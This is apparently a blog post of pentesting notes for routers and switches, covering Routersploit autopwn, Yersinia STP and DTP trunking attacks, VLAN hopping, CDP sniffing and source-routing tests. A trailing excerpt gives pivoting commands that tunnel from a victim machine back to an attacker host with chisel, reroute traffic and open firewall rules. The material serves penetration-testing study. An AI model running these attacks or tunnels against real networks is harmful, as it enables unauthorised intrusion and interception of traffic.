Skip to main content

Pentesting Routers & Switches

 Penetration testing Routers & Switches


Routersploit 

Nipper-ng 

dig
nslookup
port 1999

snmpsniff (v1 is vulnerable)
test for NTP 
Routersploit

git clone https://www.github.com/threat9/routersploit.git/
cd routersploit
python3 -m pip install -r requirements.txt
python3 rsf.py 

search exploit 
search scanner
use scanners/autopwn
set target 10.10.10.10
Attacking Switches using Yersinia on Spanning Tree Protocol (STP)

good doc

https://github.com/tomac/yersinia

#launch GUI
yersinia -G

#

yersinia protocol -h

#Start SPN attack and capture the traffic - sensitive info will be exposed to the network
VLAN Enumeration and Hopping and Trunking 

git clone https://github.com/nccgroup/vlan-hopping.git
./frogger.sh

#VLAN hopping/ Truking can be done via yersina as well
#Create a new fake Trunk and let the switch believe that you are a trunk and ge the info via VLAN hopping
yersinia -G
go to DTP --> enable trunking

#
Test for Finger Services

finger -l 10.10.10.10
finger -l user@10.10.10.10
Test for CDP 

Cisco discovery protocol is a layer 2 protocol (doesnt work on any ports) to discover each other on same link
CDP sends - Device ID, Port ID, OS, IOS Version, capabilities and Network IP

#Capture CDP packets using TCPDump
tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether[20:2] == 0x2000'

CDP Sniffer
IP Spoofing Attacks

- ARP
- RIP
- Check for internal and External IP ranges
Testing for Strict and loose Source Routing 

#loose
ping -j 10.10.10.10

#strict source routing
ping -k 10.10.10.10
Decryt Cisco Password using this script - Here 
Testing Routers

- Unused ports
- check if DHCP Snooping is enabled or not - to prevent malicious assignment of IP from rouge DHCP servers, malformed DHCP traffic
- Port Security - identifying and limiting MAC Addresses
- Correct Timestamp


References:
 
1. Testing Switches for Vulns
2. Router pentest
3. Basic Pentest
4. Pentesting SDWAN
5. Layer -2 Testing

MITM Cheatsheet

 

 

 

 

 

Comments

Popular posts from this blog

Pivoting into an internal network behind firewall

    Accessing a Victim network from Windows box which is pivoted to Kali #On Kali sshuttle --listen 0.0.0.0 -r user@10.10.10.10 192.168.1.0/24 or ./chisel server --port 9001 -reverse #On Victim ./chisel.exe client 10.10.10.1:9001 R:0.0.0.0:1080:socks .\chisel.exe client 10.10.10.1:9001 R:8080:127.0.0.1:8080 R:8888:127.0.0.1:8888 R:9090:127.0.0.1:9090 #On windows route print #delete default route route delete 0.0.0.0 #add a new route to kali- setting kali ip as gateway; kali_ip=which is on the same subnet as the windows box route add 0.0.0.0 mask 0.0.0.0 KALI_IP #Now you should be able to access all the sites which are accessible on kali from windows box. #If the above doesnt work #asuming Kali and windows are on Eht0 #add a firewall rule to allow Kali ip traffic netsh advfirewall firewall add rule name="Allow VPN Traffic" dir=in action=allow protocol=any remoteip=KALI_ETH0_IP #on Kali - Allow tun0 traffic to forward on iptables sudo iptables -P FORWARD ACCEPT ...